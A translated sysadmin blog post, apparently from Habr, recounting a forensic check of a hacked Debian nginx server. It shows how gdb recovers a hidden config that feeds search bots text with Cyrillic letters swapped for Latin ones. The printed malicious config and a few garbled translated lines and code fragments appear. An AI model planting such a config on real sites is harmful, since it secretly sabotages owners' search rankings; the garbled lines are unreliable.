Jedna vrlo neugodna priča dogodila se s jednim mojim prijateljem. No, koliko je to bilo neugodnо za Mihaila, toliko je bilo zanimljivo za mene.
Moram reći da je moj prijatelj sasvim u redu. UNIX-korisnik: može sam postaviti sustav, instalirati mysql, php i napraviti najjednostavnije postavke. nginx.
Ima desetak ili više web stranica posvećenih građevinskim alatima.
Jedna od takvih stranica posvećena je motornim pilama i dobro se kotira u TOP-u pretraživača. Ova stranica nije komercijalni pregled, ali nekom se nisam svidio pa su se odlučili napasti je. DDoSEvo, tu je napad, tu je brute force, ili napišu nepristojne komentare i šalju prijave na hosting i u RKN.
Iznenada se sve smirilo i to zatišje se ispostavilo kao loš znak, a stranica je postupno počela napuštati visoke pozicije.

To je bila uvodna priča, sad slijedi sama adminsika bajka.
Vrijeme je bilo blizu sna kad je zazvonio telefon: „San, hoćeš li provjeriti moj server? Čini mi se da su me hakirali, ne mogu to dokazati, ali osjećaj me ne napušta već tri tjedna. Možda mi je jednostavno vrijeme da se liječim od paranoje?”
Nakon toga je uslijedila pola sata rasprave koja se može ukratko svesti na:
- tlo za hakiranje bilo je prilično plodno;
- hakera bi mogao steći pravo super korisnika;
- napad (ako je uopće bio) bio je ciljano usmjeren na ovu stranicu;
- problematična mjesta su ispravljena i samo treba shvatiti je li bilo provale;
- hakiranje nije moglo utjecati na kod stranice i baze podataka.
Što se tiče zadnje točke.

U svijet gleda samo bijeli IP frontend-a. Između backend-a i frontenda ne postoji razmjena osim http(s), korisnici/lozinke su različiti, ključevi se nisu razmjenjivali. Na sivim adresama svi portovi osim 80/443 su zatvoreni. Bijeli IP backend-a poznati su samo dvama korisnicima kojima Mihail u potpunosti vjeruje.
Na frontendu je postavljen Debian 9 i u trenutku poziva sustav je izoliran od svijeta vanjskim firewallom i zaustavljen.
„Ok, daj mi pristupe, - odlučujem odgoditi san na sat. - Pogledat ću svojim okom.”
Ovdje i dalje:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
U potrazi za mogućim hakiranjem
Pokrećem server, prvo u rescue-mode. Montiram diskove, pregledavam auth-logove, history, sistemske logove i slično, provjeravam datume kreiranja datoteka koliko mogu, iako razumijem da bi normalni haker "očistio" za sobom, a i Miša je već solidno "nagazio" dok je sam tražio.
Započinjem u normalnom režimu, ne razumijevajući previše što tražim, proučavam konfiguracijske datoteke. Prvo što me zanima nginx jer, u suštini, na frontend-u osim njega nema ništa.
Konfiguracije su male, dobro strukturirane u desetak datoteka, jednostavno ih pregledavam cat’jednu po jednu. Čini se da je sve čisto, ali nikad se ne zna hoću li nešto propustiti include, pa ću napraviti potpuni ispis:
$ nginx -T
nginx: konfiguracijska datoteka /usr/local/etc/nginx/nginx.conf sintaksa je u redu
nginx: test konfiguracijske datoteke /usr/local/etc/nginx/nginx.conf je uspješan
Nisam razumio: "Gdje je ispis?"
$ nginx -V
nginx verzija: nginx/1.10.3
TLS SNI podrška omogućena
argumenti konfiguracije: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Termin o ispitu dodaje drugi: "Zašto je ovako stara verzija nginx-a?"
Osim toga, sustav smatra da je verzija instalirana novija:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all mali, moćan, skalabilni web/proxy poslužitelj
Zovem:
— Miša, zašto si ponovno sastavio nginx?
— Smiri se, ni ne znam kako to učiniti!
— Ok, pa, spavaj…
Nginx opa, očigledno je ponovno sastavljen i ispis s "-T" je skriven s razlogom. Nema sumnje u provalu i to se može jednostavno prihvatiti i (budući da je Miša ionako zamijenio poslužitelj novim) smatrati problemom riješenim.
I zaista, budući da je neko dobio prava root‘a, ima smisla učiniti samo system reinstall, a traženje što je tu nešto krivo napravljeno je beskorisno, ali ovaj put je radoznalost pobijedila san. Kako saznati što su od nas htjeli sakriti?
Pokušajmo odtrosirati:
$ strace nginx -T
Proučavam, u praćenju očigledno nedostaje redaka poput
write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Iz znatiželje uporedimo ispise
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Mislim da je deo koda /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
je bila dovedena u oblik:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
ili
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
stoga ispis za '-T' nije prikazan.
Ali kako možemo pogledati naš konfiguracijski datoteku?
Ako je moja misao točna i problem je samo u varijabli ngx_dump_config pokušajmo je postaviti pomoću gdb, srećom ključ --with-cc-opt -g je prisutan i nadamo se da optimizacija , bez ove opcije vas mogu čekati iznenađenja kasnije. Pogledajmo naš kod, jesmo li uspjeli napisati program koji smo željeli? nam neće smetati. S obzirom na to, pošto ne znam kako ngx_dump_config je mogla biti obrađena u case ‘T’:, nećemo pozivati ovu sekciju, već ćemo je postaviti koristeći case ‘t’:
Zašto se može koristiti ‘-t’ uz ‘-T’Obrada bloka if(ngx_dump_config) se odvija unutar if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "datoteka konfiguracije %s test je uspješan",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# datoteka konfiguracije ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Naravno, ako je kod izmijenjen u ovom dijelu, a ne u case ‘T’:, onda moj način neće odgovarati.
Testni nginx.confVeć rješavajući problem eksperimentima, utvrđeno je da za rad zlonamjernog programa je potreban minimalni konfiguracijski datoteka nginx oblika:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Njega ćemo koristiti za sažetak u članku.
Pokrećemo debugger
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Koraci:
- postavljamo točku prekida u funkciji main()
- pokrećemo program
- mijenjamo vrijednost varijable koja određuje ispis konfiguracije ngx_dump_config=1
- nastavljamo/završavamo program
Kao što vidimo, stvarna konfiguracija se razlikuje od naše, izdvajamo parazitski deo:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Pogledajmo redom šta se ovde dešava.
Određuju se User-Agent‘ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Isključuju se službene stranice wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
I za one koji su se našli pod oba prethodno navedena uslova
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
u tekstu html-stranice se menjaju ‘о’ na ‘o’ i ‘а’ na ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Tako je, suština je samo u tome što ‘а’ != ‘a’ takođe kao i ‘о’ != ‘o’:

Tako boti pretraživača dobijaju umesto normalnog 100%-cirilici izmenjeni otpad pomešan sa latinicom ‘a’ i ‘o’. Ne želim da nagađam kako to utiče na SEO, ali teško da će takva mešavina slova pozitivno uticati na pozicije u pretrazi.
Šta reći, momci s maštom.
Linkovi
Izvor: habr.com
